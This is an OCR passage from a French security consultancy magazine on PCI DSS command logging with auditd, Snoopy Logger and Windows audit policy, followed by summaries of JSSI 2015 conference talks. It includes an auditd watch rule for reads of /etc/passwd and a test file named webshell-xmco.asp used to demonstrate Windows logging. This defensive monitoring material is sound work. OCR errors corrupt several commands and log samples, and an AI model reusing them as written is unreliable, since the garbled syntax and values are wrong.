‘Qses:unset comm=sudo exe=/usr/bin/sudo key=root-commands

Login de l'utilisateur correspondant a I'uid 1001

Recherche du login de |'utilisateur ayant I'uid 1001 pour la commande dont le pid est 6337

Pour la correspondance utilisateur-UID, ausearch se base sur /etc/passwd. Dans le cas ou les logs seraient déportés sur un
autre serveur, il est possible de lui fournir un fichier /etc/passwd spécifique.

Avec ces regles, toutes les commandes saisies au niveau du systéme d’exploitation par les utilisateurs ayant recours a un
appel systéme sont enregistrées. Ainsi, un simple affichage du contenu dun répertoire avec la commande « Is » ou un chan-
gement de propriétaire d’un fichier avec la commande chown est tracé dans le fichier de log d’Auditd. Cependant, certaines
commandes ne provoquent aucun appel systeme telles que la commande « cd » et ne sont pas enregistrée. Néanmoins, ces
commandes ne sont pas trés importantes ici.

Pour chaque commande, un certain nombre d’informations est stocké telle que ses arguments, I'utilisateur a I'origine de I'exé-
cution, le chemin courant au moment de I'exécution, les droits du programme exécuté par la commande, etc.

Attention

Les commandes exécutées par les utilisateurs peuvent inclure des données sensibles comme des mots de passe ou des
cartes bancaires.

L'exemple que nous rencontrons le plus fréquemment concerne notre logiciel de recherche de cartes bancaires PanBuster

) qui génére un fichier contenant de potentielles cartes découvertes sur un systeme.
Lorsque les administrateurs confirment les résultats de PanBuster, ils peuvent étre amenés a « greper » sur ces numéros de
carte et donc générer des entrées au sein des fichiers de logs d'Auditd.
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Définition :
-w nom_du_fichier -p rwa -k monitor_nom_du_fichier

Options :
-w : spécifie que I'on veut surveiller un fichier ;

-p : spécifie les acces a surveiller ;
-k : définie un label permettant de mieux retrouver les traces dans les logs.

Exemple de sortie :

L'id de I'utilisateur qui a accédé au fichier

type=SYSCALL msg:audit(14?‘101.070:4399): arch=c000003e syscall=2 success=yes exit=3
a0=7fff610a8347 al=0 a2=1WFffffffffoe00 a3=7fff610a6a40 items=1 ppid=6301 pid=7445
auid=4294967295 [uid=1001 Jgid=1001 euid=1801 suid=1001 fsuid=1001 eqid=1001 sqid=1001
fsgid=1001 tty=pts28 ses=4294967295 comm="cat" exe="/bin/cat" |key="passwd_file_monitor"

type=CWD msg=audit(1426260101.070:4399): cwd="/home/xmcol"”
type=PATH msg=audit(1426260101.870:4399): item=0 named"/etc/passwd"| inode=1#¥8791
dev=08:01 mode=0100644 ouid=0 ogid=0 rdev:@Wype:HORHAL

Le fichier accédé Le label de la regle

Résultat dans le fichier de log d’un accés en lecture au fichier /etc/passwd

Définition :
-e 2

Cette regle concerne le fichier de régle lui-méme. Celle-ci donne en effet I'attribut immutable au fichier audit.rules prévenant
des suppressions accidentelles.

Quelques commandes utiles :

Recharger les regles en place :
sudo auditctl -R fichier_de_regle

Lister les regles :
sudo auditctl -l

Afficher un rapport synthétique :
sudo aureport -if chemin/du/fichier/log

Afficher toutes les commandes d’un utilisateur avec son login :
sudo ausearch -i -uid uid_utilisateur

Afficher les commandes saisies dans un intervalle de deux dates :
sudo ausearch --start MM/JJ/YYYY —-end MM/J)/YYYY

En terme de fonctionnalités, Auditd a I'avantage de pouvoir gérer plusieurs types de regles comme la surveillance de fichiers
définis et de fournir des utilitaires pour interagir avec les fichiers de logs.

(XmMcol
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snoopy Logger pour les systémes GNU/Linux

Snoppy Logger est un programme permettant d’enregistrer les commandes exécutées par les utilisateurs. Il enregistre ainsi
toutes les commandes nécessitant un appel systeme. L’enregistrement est effectué avec syslogd.

L'installation peut s’effectuer de facon automatisée ou via un installeur de paquets.
Les dernieres versions sont disponibles en téléchargement a cette adresse : http://source.a2o.si/download/snoopy/

L'emplacement par défaut des fichiers de logs varie en fonction des distributions GNU/Linux et dépend de la configuration
Syslog. Ces fichiers peuvent étre :

/var/log/messages ;
/var/log/auth.log ;

/var/log/secure.

Le fichier de configuration par défaut de Snoopy Logger est le suivant : /etc/snoopy.ini.
Pour activer/désactiver Snoopy Logger : snoopy-enable / snoopy-disable.

La configuration par défaut de Snoopy Logger donne les informations suivantes sur une commande exécutée par un utilisa-
teur :

Mar 18 ©5:46:43 ubuntu oopy[17005]: [juid:1001 sid:15662 tty:/dev/pts/0 cwd:/home/xmco:
filename:/bin/1s]: *—— L’id de I'utilisateur

La commande exécutée

Résultat dans le fichier de log de la commande Is avec la configuration par défaut

Il est possible d’obtenir plus d’information en modifiant le fichier de configuration.
Quelques entrées supplémentaires peuvent étre intéressantes a conserver dans les logs :
username : le login de I'utilisateur qui exécute la commande ;
login : le login de I'utilisateur connecté qui saisit la commande.
Exemple de format de sortie défini dans le fichier de configuration :

message_format = «[uid:%{uid} username:%{username} login:%{login} sid:%{sid} tty:%{tty} cwd:%{cwd} filename:%(file-
name}]: %{cmdline}»

Les champs username et login peuvent étre différents. En effet, lorsqu’un utilisateur fait appel a la commande sudo pour
exécuter une commande avec les droits root, |'utilisateur final exécutant la commande est root.

Commande saisie : ps aux

L'utilisateur qui execute la commande

L .
Mar 18 ©6:41:43 ubuntu snoopy[19458]: [uid:1001

sid:18955 tty:/dev/pts/26 cwd: /home/xmcol filename:/bin/ps]: ps y

L'utilisateur connecte

Résultat dans le fichier de log de la commande ps aux

Le champ username est le méme que le champ login, car la commande a été saisie et exécutée par I'utilisateur connecté.

26

[XMCcO) Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Commande saisie : sudo ps aux

Une ligne supplémentaire dans les logs est générée. Grace a cette sortie, il est ainsi possible de connaitre tous les utilisateurs
ayant utilisé des commandes avec les droits root.

Mar 18 10:22:36 ubuntu snoopy[20588]: [uid:16001 login:xmcol
sid:18955 tty:/dev/pts/26 cwd:/home/xmcgl—FtTehame: fusr/bin/sudo];

L'utilisateur ayant exécute la commande sudo est enregistre
Résultat dans le fichier de log de la commande sudo ps aux

La ligne suivante correspond a la commande ps aux avec les droits root.

3Ur qui execute la commande

Mar 18 06:41:04 ubuntu snoopy[19455]: [uid:0

Résultat dans le fichier de log de la commande ps aux avec les droits root

Le champ username est ici différent du champ login, car la commande a été saisie par I'utilisateur connecté puis exécutée par
I'utilisateur root. Le champ login permet de retrouver facilement I'utilisateur a I'origine de la saisie de commande.

Snoopy Logger permet également de définir des filtres pour permettre, par exemple, de se focaliser sur certains identifiants
utilisateur :

Le filtre suivant n’enregistre que les commandes exécutées par |'utilisateur root :
filter_chain = «only_uid:0»

Le filtre suivant n’enregistre que les commandes exécutées par tous les utilisateurs sauf root :
filter_chain = «exclude_uid:0»

auditd + Trés puissant, permet de définir des regles d'audit précises - Assez complexe a mettre en place et a utiliser
+ Intégré de base dans les distributions RHEL/Cent0S
+ Composé d'une liste d’utilitaire pour la lecture des fichiers
de logs

Snoopy logger + Facile a installer et a configurer - Faible niveau de granularité des régles

- Moins puissant qu’auditd

(XmMcol
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D’autres idées ?

Bien que ces deux logiciels soient les plus rencontrés lors de nos audits PCI DSS, il existe d’autres solutions atypiques avec PAM
ou encore avec bash :
http://floriancrouzat.net/2014/05/how-to-work-with-root-shells-in-a-PCl DSS-10-2-2-compliant-environment/

0n pourra également noter I'utilisation de sudoreplay permettant de faire des vidéos des terminaux :
http://www.sudo.ws/sudoreplay.man.html

Enfin, nous avons rencontré des clients qui utilisent Ishell (https://github.com/ghantoos/Ishell), un interpréteur permettant
de tracer nativement les commandes saisies. Ce shell a également la particularité de pouvoir restreindre I'exécution de com-
mandes en fonction de I'utilisateur.

Et Windows dans tout ca ?

Les exigences du standard PCl DSS abordées dans cet article sont également applicables sur les systemes Windows et ce n’est
pas aussi simple a implémenter. En effet, les actions graphiques ne permettent pas de clairement tracer toutes les actions ré-
alisées par les administrateurs. Certains éditeurs commercialisent des solutions capables de filmer I'écran, mais on entre alors
vite dans des problématiques de stockage afin de conserver ces logs durant 1 an.

Une alternative simple existe et est native a Windows. En effet, en activant des options de logs précises, il est possible de
tracer la majeure partie des opérations (programmes lancés, acces aux objets, utilisations de privileges, etc).

McAfee a d'ailleurs publié un article intéressant a ce sujet qui détaille la configuration a mettre en place :
http://www.mcafee.com/us/resources/white-papers/foundstone/wp-pci-guidance-windows-logging.pdf

Pour résumer cet article, il suffit d’activer les logs de base (GPO locale ou domaine) disponibles ici :

>> Configuration de I'ordinateur -> Paramétre Windows -> Paramétres de sécurité -> Stratégies locales -> Stratégies d’audit

B Editeur de stratégie de groupe locale

Fichier ~ Action Affichage ?

e FE= D

_EJ Stratégie Ordinateur local Stratégie & | Paramétre de sécurité
= g Configuration ordinateur %] Auditer I'accés au service d'annuaire Réussite, Echec
J Paramétres du logidel 1o1s] Auditer I'accés aux objets Réussite, Echec
B Pa.ramétres Vindows [¢ls) Auditer Iutilisation des priviéges Réussite, Echec
_ Stratégie de résolution de noms [¢1s] Auditer la gestion des comptes Réussite, Echec
£ Scripts‘(démarra'gej'arrfét) 1415| Auditer le suivi des processus Réussite, Echec
B P‘a.ramatn'as de seaurite 151s] Auditer les événements de connexion Réussite, Echec
2 z::ig::: ;:I:caclzl;'lptes [2ls) Auditer les %v%nemams de c?nnamon aux comptes R%ussme, l?chec
5 Stratégie d'audit Aud!ber les E\I'EI.‘IEITIE.FIIE systéme N R?ussfte, l?l:hec
1515| Auditer les modifications de stratégie Réussite, Echec

‘5 Attribution des droits utiisateur
‘& Options de sécurité
~ Pare-feu Windows avec fonctions avancées de sécurité
j Stratégies du gestionnaire de listes de réseaux
| Stratégies de dé publique
" Stratégies de restriction logicielle
| Stratégies de contréle de I'application
g Stratégies de sécurité IP sur Ordinateur local
~| Configuration avancée de |a stratégie d'audit

Il est ensuite possible d’aller plus loin dans la configuration au travers du menu « Configuration avancée de la stratégie d'au-
dit » et activer des regles d'audit précises.
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>> Configuration de I'ordinateur -> Parametre Windows -> Parametres de sécurité -> Stratégies locales -> Stratégies d'audit

=] stratégie Ordinateur local
=] ¢ Configuration ordinateur
| Paramétres du logiciel

Stratégie de résoluti

El F Paramétres de sécurité

Systiéme

Scripts (démarrage arrét)

‘4 Stratégies de comptes

Suivi détaillé

Utilisation de privilége

Sous-catégorie

jon de noms

Gestion du compte _I‘i'lf“:' Auditer |.DbjEt de noyau

[sie| Auditer d'autres événements d'accés & I'ohjet

Accés DS

Quvrir ffermer la session !:::;L . .
Accés & fobjet lowo) Auditer le Registre
Changement de stratégie _!:'If“:' .ﬁ.udlter SAM

__:f] Audit de I'accés global aux fichiers

L'exemple suivant montre |'exécution de cmd.exe et le log associé.

Microsoft Windows [version 6.1.76881
Copyright <(c)» 2887 Microsoft Corporation. Tous droits réservés.

C:\Userssaguinault?>

Général |Détai|5|

|sio| Auditer I'application générée
|oio] Auditer les services de certification

Un nouveau processus a été créé.

Nom du compte: aguinault
Domaine du compte : U/MIOHE
ID d'ouverture de session : 0:289b05

Sujet :

Informations sur le processus

ID du nouveau processus: (L
MNom du nouveau processus :
Type d'élévation du jeton : Type d'ETEvatoN OE o0 e

ID du processus créateur: 0x5fd

Le type d'élévation du jeton indique le type de jeton qui a été attribué au nouveau processus
conformément 4 la stratégie de contréle du compte d'wtilisateur.

Le type 1 est un jeton complet sans aucun privilége supprimé ni aucun groupe désactivé. Un
jeton complet est uniquement utilisé si le contréle du compte d'utilisateur est désactivé, ou si
I'utilisateur est le compte d'administrateur intégré ou un compte de service.

Le type 2 est un jeton aux droits élevés sans aucun privilége supprimé ni aucun groupe

Joumnal : Sécurité

Source: Microsoft Windows security Connecté:  04/03/2015 00:13:53

[l

: 1 . . P
A Stratégies locales lo1o) Auditer le partage de fichiers détaillé
| Pare-feu Windows avec fonctions avancées de sécurité T} . )
j Stratégies du gestionnaire de listes de réseaux e Auditer le partage de fichiers
= 2gii 2 bubli 10 . . .
| Stratégies de dé publique zie| Auditer le systéme de fichiers
Stratégies de restriction logidelle e
Stratégies de contréle de Iapplication lote) Auditer la connexion de la plateforme de filtrage
5] .g Stratégies de sécurité IP sur Ordinateur local T} . .
& [ Configuration avancée de la stratégie daudit o] Auditer le rejet de paquet par |a plateforme de filirage
=N S_ig'ahégies q'audit systéme - Objet Stratégie de groupe local _li'lfil?' .ﬁ.udlter |E manipulatinn dE hal'ldlE
Connexion de compte

Concernant I'audit des fichiers et répertoires, I'onglet Audit de chaque dossier permet également de configurer finement les

éléments qui seront tracés.

.. Propriétés de : Inetpub

d&wéml I Partage|

MNom de l'objet :  C:\Inetpub

Noms de groupes ou d'utilisateurs :

Versions précedentes I Fersnnna\iserl

n Paramétres de sécurité avancés pour Inetpub

Audit I

52 CREATEUR PROPRIETAIRE
9?‘ Systéme
3, aguinault (WIN-05U7M10HB5L \aguinault)

Mutorisations pour CREATEUR PROPRIETAIRE

Q?‘ Administrateurs {(WIN-05U7M10HB5L \Administrateurs)
2, Utilisateurs (WIN-D5U7M10HB5L\ Utilisateurs) ;I

Pour modifier les autorisations, cliquez sur Modifier. Modifier... |

MNom de l'objet:  C:\Inetpub

Entrées d'audit :

Pour afficher ou modifier les détails d'une entrée d'audit, sélectionnez I'entrée, puis diguez sur Modifier.

Autoriser Refuser

Contrale total

Modification

Lecture et exécution

Affichage du contenu du dossier
Lecture

Ecriture

-

Ajouter... Modifier... Supprimer

-

Pour les autorisations spéciales et les p
Avance.

Informations sur le contréle d'accés et les autorisations

n héritables issues de cet objet
avances, cliquez sur e |

¥ Indlure les entrées d'audit pouvant &tre héritées du parent de cet objet

Remplacer toutes les entrées d'audit héritables existantes sur tous les descendants par des entrées d'audit

Quelles sont les conditions requises pour laudit de laccés aux objets ?

es fichiers

QK Annuler | Appliguer |
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n Audits pour Inetpub E3
Il est important de noter que ce type d’audit génere énormément de

Objet | . , . ) o .
lignes. Cela n’est pas un probleme pour |"analyse, mais il faut prévoir
Nom ITout le monde Modifier... | un espace dIS(]UE Consequent'
Appliquer a : ICe dossier, les sous-dossiers et les fichiers j
Acces : Réussite  Echec Nous avons ici activé toutes les options, puis parcouru le dossier et
Contréle total créé un fichier webshell-xmco.asp avec notepad.exe au sein de Ia ra-
Parcours du dossier fexécuter le fichier cine du dossier |netpub.

Liste du dossierlecture de données
Attributs de lecture

Lecture des attributs tendus

Création de fichier/écriture de données

‘;\\_)C | + Ordinateur ~ Disgue local (C:) ~ Inetpub

Création de dossier fajout de données

Attributs d'8criture Organiser ¥  Incure dans |a bibliothéque *  Partager avec ¥  Nouveau dossier
Ecriture d'attributs étendus b e e . Modifié le
Suppression de sous-dossier et fichier S

Bl Bureau | webshell-xmco.asp 19/03/2015 17:19

Suppression -

IEEEREEEEREE
| EEEREREEEE

11| Emplacements récents
Appliquer ces entrées d'audit uniguement | =4

[ aux objets etfou aux conteneurs faisant EEE A W Téléchargements
partie de ce conteneur

Gestion des audits

oK I Annuler |

Hl Propriétés de I'événement - Evénement 4663, Microsoft Windows security auditing.

Général g}e‘taﬂ; |
Nous pouvons constater que ces éléments sont tracés. I

5 Sujet:
s 1D de sécurité: WIN-05U7M10HE5\aguinault
- Mom du compte : aguinault
B! Propriétés de I'événement - Evénement 4663, Microsoft Windows security auditing. Domaine du compte : =
1D d'ouverture de session : 0x283b05
Général | Détails |
Ohbjet:
Serveur de 'objety Security
Une tentative d'accés 3 un objet a été effectuée. Type d'objet : File

Mo de I'objet : | C\Inetpub\webshell-xmco.asp
1D du handle:  §0:100

Sujet :
1D de sécurité: WIN-05U7M10HBES L \aguinault " . .
. nformations sur le processus :
Nom :liu compte: aguinault ID du processus : (:928
Domaine du compte: R Nom du processus : I C:AWindows\System32\notepad.exe I
1D d'ouverture de session : (0x289b05
Informations sur la demande d'accés:
Objet : Accés: Ecriture données {ou ajout fichier)

Masque d'acces: (2

Type d'ohjet : File
Nom de I'objet: C\Inetpub

Journal : Sécurité
ID du handle: 0xb04
Source: Microsoft Windows security Connecté:  19/03/201517:19:11
Informations sur le processus : Evénement: 4663 Catégorie:  Systime de fichiers
ID du processus: (xGf4 x . - % P GredsdalErt
Mom du processus: CA\Windows\explorer.exe fveau: information otsclés:  Succes de laudit
Utilisateur : N/A Ordinateur: WIN-05U7M10HB5L
Informatlons‘sur la demande d'accés: T Informations
Accés: READ_CONTROL
Informations:  Aide sur le Journal

Journal : Sécurité -

Microsoft a récemment publié un correctif afin de pouvoir tracer les commandes exécutées au travers de I'utilitaire cmd.exe
(ce qui n’était pas le cas jusqu’a présent).

En appliquant le correctif disponible a I'adresse ci-dessous, I'option « Include command line in process creation events » sera
disponible :
http://support.microsoft.com/en-us/kb/3004375.

Conclusion

Il existe des solutions techniques simples et peu onéreuses afin de répondre aux exgicences du chapitre 10 du PCl DSS. La
difficulté sera de configurer ces outils de maniére optimale sur I'ensemble du périmetre PCI DSS tout en allouant les ressources
humaines nécessaires ou les outils adéquats (corrélation de logs) afin d’analyser ces journaux de maniere quotidienne et étre
capable de les exploiter efficacement.
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Conférences sécurité

)

Cette année encore, le cabinet XM(O était présent a I'édi-
tion 2015 de Ia Journée de la Sécurité des Systemes d’In-
formation (JSSI) consacrée aux « systémes souverains fran-
cais ». Nous vous proposons ici un résumé des conférences
auxquelles nous avons assisté.

Keynote : Quel avenir pour la souveraineté francaise
en SSI ?
Vincent Strubel (ANSSI)

Vincent Strubel, sous-directeur de I’ANSSI a eu la primeur
d’animer la premiere conférence de cette JSSI, version
2015.

Au cours de cette présentation, Vincent a balayé le passé,
le présent, ainsi que I'avenir de la souveraineté francaise
en matiere de sécurité des Systemes d’Informations. Il a
rappelé, qu’a I'heure actuelle, les cyber guerres se placent
au méme rang que les guerres nucléaires.

Le conférencier a reconnu que « les joyaux de la cou-
ronne » étaient bien protégés aujourd’hui, et que, depuis

T )SSI

Par Réqis SENET et Damien GERMONVILLE

la parution du livre blanc en 2013, un réel effort avait été
réalisé pour protéger les infrastructures critiques telles que
les administrations et les 0IV (Organisme d'Importance Vi-
tale). Néanmoins, les PME sont a la traine et ne disposent
pas des mémes accompagnements que leurs homologues
de taille plus importantes dans cette démarche sécuritaire.
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Présentation du systeme d’exploitation sécurisé CLIP
Vincent Strubel (ANSSI)

Suite a la keynote, Vincent a enchainé sur une seconde pré-
sentation durant laquelle il a fait un retour sur CLIP [1], le
systeme d’exploitation sécurisé « made in France ».

CLIP est un systeme d’exploitation basé sur un GNU/Linux
fortement durci, permettant de répondre a un besoin de
I'administration francaise en terme de cloisonnement des
données. En effet, I'utilisation de la virtualisation via des
containers permet de disposer d’un cloisonnement appli-
catif et réseau logique permettant la coexistence de deux
environnements distincts, de criticités différentes (I'un ha-
bilité et I'autre pouvant accéder a Internet). Rajoutons éga-
lement a cela un systeme minimaliste, de fortes notions de
cryptographie, une mémoire particulierement bien gérée
afin d’éviter toute corruption, des mises a jour chiffrées
et signées d'un nombre de paquets limités (1000) ainsi
qu’une réduction et une séparation des privileges utilisa-
teurs (aucun compte root n’est disponible).

Fétant ses 10 ans cette année, le systétme d’exploitation
CLIP est opérationnel depuis 2009 avec son déploiement
sur plus de 350 postes a I’ANSSI et autant pour le compte du
Ministére de la Défense. Certains Organismes d’Importance
Vitale (0IV) sont également en train de faire la transition.

Malgré la maturité du projet et bien que reposant initiale-
ment sur une distribution Open Source, CLIP n’est pas dis-
ponible au téléchargement. En effet, le conférencier nous
a expliqué que malgré sa base Open Source, le systéme
sécurisé francais repose sur de la cryptographie classifiée.

Malgré le grondement des « libristes convaincus », Vincent
a argumenté que CLIP n’est pas un produit vendu sur éta-
gere et que son utilisation nécessite une configuration ma-
térielle particuliere ainsi qu’une infrastructure dédiée.

Ce systeme sécurisé, pourtant prometteur, ne bénéficie pas
de la tendance d’ouverture actuellement suivie par I’ANSSI.
Son utilisation est restreinte aux administrations et aux OIV,
délaissant ainsi les PME.

Les produits de sécurité francais vus des tranchées
Nicolas Ruff (Expert indépendant)

Pour cette conférence, Nicolas Ruff a adopté le style qui lui
est propre et qui fait s’affoler nos détecteurs de troll (méme
si « Le but n’est pas de faire du bashing »).

Nicolas est revenu avec humour sur de nombreuses failles
de sécurité, pour la plupart critiques :

= Un portail captif testait le SHAT du mot de passe alors
que le mot de passe en clair était directement accessible
dans le code source de la page web ;

= Un firewall sur une machine acceptant IPv6 ne bloquait
que le trafic IPv4 ;

32 = Un logiciel SIP permettant de passer root grace a I'envoi
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du caractere « %n » dans I'en-téte User-Agent ;

= 0u encore, les quides francais de sécurisation de Win-
dows 2000 spécifiant la nécessité de choisir le Luxembourg
comme pays et non pas la France afin de disposer des fonc-
tions cryptographiques.

Bien plus qu’un simple « bashing » en bonne et due forme,
le but de cette conférence était d'avoir une certaine prise
de conscience du fait que certains de ces produits avaient
été labélisés « Cyber sécurité France »...

Révolution cyber-industrielle et facteurs de cyber-puis-
sance
Laurent Bloch (Institut Francais d’Analyse Stratégique)

- slides
http://www.ossir.org/jssi/jssi2015/JSSI_2015_2B_Revolu-
tion_cyberindustrielle_et facteurs_de_cyberpuissance.pdf

Pour cette derniére conférence de la matinée, Laurent Bloch,
auteur du livre « Révolution Cyber-industrielle en France »,
a présenté une analyse sur les facteurs de cyber-puissance.

Durant cet exercice, le conférencier a présenté les différents
atouts dont la France dispose en prenant I'exemple de I'en-
treprise de droit francais STMicroelectronics. Celle-ci produit
des microprocesseurs haut de gamme et se trouve parmi
les leadeurs dans ce domaine.

Ceci n'est qu'un exemple, a expliqué Laurent Bloch. Selon
lui, le principal probléme se trouve au sommet de I'état
qui ne prend pas les directives adaptées pour accroitre la
cyber-puissance de la France.

La souveraineté : qu'est-ce que c'est ?

@ Droit exclusif d'exercer I'autorité politique (législative, judiciaire et
exécutive) sur une zone géographique;
@ concept associé a celui d’Etat;
@ en France : le peuple souverain;
@ dans le monde occidental deux conception s’opposent :
> puissances continentales (France, Espagne) : absolutisme d'un Etat
administratif (Jean Bodin, 1576, Thomas Hobbes (Leviathan), 1651);
> puissances maritimes (Angleterre, Pays-Bas, puis les Etats-Unis) :
souveraineté instaurée par des transactions entre plusieurs instances,
souverain, gouvernement, parlement, associations de citoyens, ce que
I’on nomme la société civile (Locke, 1690, Hume, 1742); en un mot le
libéralisme.

@ ne pas oublier Kant (1795).

(Assises de la souveraineté numérique, 13 mai 2014, Blandine Kriegel)

A titre de comparaison, il a évoqué les 4 « cyber-dragons »
(la Corée du Sud, Taiwan, Singapour et Israél) qui ont fait le
choix de miser sur I'éducation, la formation et la recherche.
Ce pari les place aujourd’hui dans une dynamique de crois-
sance.

Le conférencier a conclut ainsi : « La France a tout ce qu'il
faut pour réussir, mais on ne veut pas. ».
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Les nouvelles atteintes aux STAD
Alain Bensoussan (Avocat)

= slides
http://www.ossir.org/jssi/jssi2015/JSSI_2015_3A_Les_
nouvelles_atteintes_aux_stad.pdf

La JSSI a repris en début d'apres-midi par une conférence
(tres) animée par Alain Bensoussan, avocat a la cour d’ap-
pel de Paris, sur les Systtmes de Traitement Automatisé
de Données (STAD) et les fraudes contre lesquelles les ins-
tances juridiques luttent [2].

En premier lieu, I'avocat a évoqué un fait intéressant. Lors
d’une fraude ou d’une attaque, on parle de vol de données,
or, aucun état ne reconnait la propriété des données. Alors,
s'il n'y a pas de propriétaire pourquoi parle-t-on de vol ?

Ce simple constat reflete la complexité juridique a laquelle
les avocats font face lors des poursuites engagées a I'en-
contre des pirates (ou insiders !), suite 3 un acte de mal-
veillance.

_

1.3 Nouveaux ¢léments matériel de I'infraction (2)
C.Pénal art. 323-3

' Détention

Prison: 5 ans
Amende: 75 000 €

Reproduction

Transmission

T
T
S

Heureusement, de récentes lois permettent de définir et
de cadrer les cas de fraude. Avant celles-ci, copier un fichier
sur un support externe (clé USB) pouvait étre sanctionné,
contrairement a une simple synchronisation de fichiers avec
DropBox.

Alain Bensoussan a également rappelé que les articles 34
de la CNIL et 226-17 du code pénal indiquent que le respon-
sable de traitement peut étre sanctionné si la sécurité des
données n'est pas maintenue. La victime d’une intrusion
peut donc tout a fait se retrouver a la place de I'accusé si le
niveau de sécurité des données personnelles est insuffisant
aux yeux de la loi.

Pour terminer sa présentation, Alain Bensoussan a formu-
Ié 5 conseils destinés aux entreprises afin de mieux lutter

contre les fraudes :

= 1. Réaliser des audits de sécurité techniques et juri-
diques ;

2. Mettre en place une sécurisation technique et juri-
dique (au travers de chartes) ;

3. Rédiger des guides d’opérations de contréles internes

!

= 4. Définir des procédures de gestion de crise et des
failles de sécurité ;

= 5. Négocier I'aspect sécurité des contrats avec les pres-
tataires (audits, etc.).

Solutions de sécurité francaises ou européennes
Pascal Sitbon (Seclab)

= slides
http://www.ossir.org/jssi/jssi2015/)SSI_2015_3B_Solu-
tions_de_securite_francaises_ou_europeennes.pdf

Créée en 2011, la société Seclab propose des solutions ma-
térielles sécurisées et adaptées aux OIV. Pascal Sitbon, I'un
de ses cofondateurs, a retracé I'historique et les difficultés
de cette entreprise.

En tant que petite startup francaise, Seclab a, dans un pre-
mier temps, rencontré des difficultés pour réaliser ses pre-
mieres ventes sur le sol francais. Cependant, grace a son
implémentation aux Etats-Unis et & ses clients américains,
Seclab est parvenue a construire son image et ainsi a s'in-
sérer au sein du marché francais.

seclab
SOUVERAINETE SSI ?

®| 1. Développer le bon produit ! \ /| 2. Le développer bien ‘@

Souveraineté

@{ 6. Facilités

@‘[ 5. Difficultés )/

4. Exigences tactiques ]S

PROPRIETARY - © SECLAB 2015 3

Les produits proposés par Seclab présentent une architec-

ture sécurisée par le cloisonnement hardware. De plus, les 33
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politiques de sécurité sont implémentées directement dans
le silicium.

Aujourd’hui, I'entreprise oriente ses développements en
fonction des besoins de ses clients et des retours formu-
Iés par les expérimentateurs de leurs prototypes. Actuelle-
ment, 3 produits sont certifiés CSPN.

La Loi de Programmation Militaire pour un petit OIV
Béatrice Joucreau et Christophe Renard (HSC)

o slides
http://www.ossir.org/jssi/jssi2015/JSSI_2015_4A la_Loi_
de_Programmation_Militaire_pour_un_petit_OIV.pdf

Lors de leur conférence, les deux consultants du cabinet
Hervé Schauer Consultants, Béatrice Joucreau et Christophe
Renard, ont présenté la Loi de Programmation Militaire
(LPM) et dans quelle mesure celle-ci s’applique aux petits
Olv.

La loi est le fruit d'un historique tumultueux d’attaques in-
formatiques diverses et variées (Stuxnet, explosion du pi-
peline BTC, attaques non ciblées).

Cette loi a pour objectif de définir les mesures mises en
place en matiére de sécurité et de cyberdéfense afin de
protéger, au mieux, les infrastructures critiques. Dans ce
but, la LPM prévoit un budget de 190 milliards d’euros pour
le ministére de la Défense.

Réalisme des attaques 2/2

Lextra-ordinaire

o Les attaques inter-étatiques se sont déja produites
@ |ly aura d'autres Stuxnet
@ Les médias américain évoquent des pré-positionnements chinois depuis
plusieurs années
@ Réalité ou sensationnalisme ?
@ Des attaques combinant cinétique et informatique ont eu lieu lors
d'opérations russes

@ Aucune attaque informatique terroriste n’est connue
@ Peu d’appels a ce genre d’attaque dans la littérature jihadiste (Inspire ou
sites)
@ Mais des tentatives auront certainement lieu tét ou tard
@ Cibles attractives pour des acteurs terroristes compétents ?

Elle est donc applicable aux systemes d’information des
0IV. La procédure orchestrée par I’ANSSI comprend I'iden-
tification de différents éléments d’importance vitale (1V) :

o= SIV : les Systémes IV des OIV ;

=PIV : les Points géographiques IV ;

o= 71V : les Zones IV regroupant plusieurs PIV.

Cependant, les aspects techniques de I'application de la
LPM présentent de nombreux défis du fait de I'hétérogé-
néité des systemes rencontrés ainsi que de leur nature. Les
systemes industriels sont par exemple trés complexes a

tester. Il n’est par exemple pas concevable de reboot une
chaine de production manipulant du métal en fusion...
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Interrogation sur la souveraineté numérique
Stéphane Bortzmeyer (Afnic)

- slides
http://www.ossir.org/jssi/jssi2015/)SSI_2015_4B_Interro-
gations_sur_la_souverainete_numerique.pdf

La derniere conférence de la journée a été présentée par
le président de I'0SSIR. Au cours de celle-ci, Stéphane est
revenu sur le theme de la journée qui reste flou du fait que
chaque entité (état, entreprise, « Mme Michu ») dispose de
sa propre vision de la souveraineté.

Retour sur un nuage souverain

@ 1999, création d'OVH

@ 2007, Gandi commence a faire du nuage

© 2009, lancement de I'idée d'un « cloud souverain »

© 2011, création d’Andromeéde, par Besson, on parle de 135
M€, passés a 250 ensuite

© 2012, Place de la Toile en parle

O 2012, Editorial (plutdt un publi-reportage pour Androméde)
du Monde (rubrique "éco & entreprise")

@ 2012, fachés, les futurs Cloudwatt et Numergy se séparent

@ 2013, pétition demandant le « dégroupage » de cette
ressource publique

© 2013, Numergy en béta-test

@ 2015, Cloudwatt repris par Orange, Numergy cherche un

repreneur .

Méme si beaucoup d'argent a été investi a perte par I'Etat
dans le projet Androméde, il lui semble nécessaire de gar-
der un « Cloud francais ». L'objectif est de ne plus se heur-
ter aux problemes de stockage de données a I'étranger (et
donc sous couvert d’autres lois) ainsi que de non-neutralité
en cas de concurrence.

Stéphane Bortzmeyer a mis en avant les problemes de
confiance et a insisté sur le fait qu'un produit de sécurité
n’est pas nécessairement bon parce qu'il est francais. A titre
d’exemple, il a cité le directeur général d’Alcatel voulant
insérer des portes dérobées dans ses routeurs.

Références

o= [1] http://www.ssi.gouv.fr/administration/services-se-
curises/clip/

o= [2] http://www.alain-bensoussan.com/stad-failles-se-
curite/2015/02/17/

o= http://www.ossir.org/jssi/
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Conférences sécurité

GsDays

Par Bastien CACACE et Arthur VIEUX

LES JOURNEES FRANCOPHONES DE LA SECURITE
v

Le 24 mars dernier se déroulait la 7eme édition des GS Days,
Journée Francophone de la Sécurité. Cette conférence qui
s’adresse a tous les acteurs de la sécurité avait pour theme,
cette année, la mobilité. Les objets connectés et le BYOD («
Bring Your Own Device ») étaient donc au programme de
la journée. Celle-ci a démarré par une table ronde afin de
discuter de la structuration de marché de la SSI.

Cette conférence pléniére, dirigée par Alain Establier (Ré-
dacteur en Chef de Security Defense Business Review), a vu
Guillaume Poupard (Directeur général de I'ANSSI), Michel
Van Den Berghe (Directeur général d’Orange Cyberdefense)
et Phillipe Dewost (Président d’honneur du Checy) débattre
de la place des start-ups et des PME francaises en Europe et
dans le monde.

Le débat s’est longtemps porté sur les possibilités d’évolu-
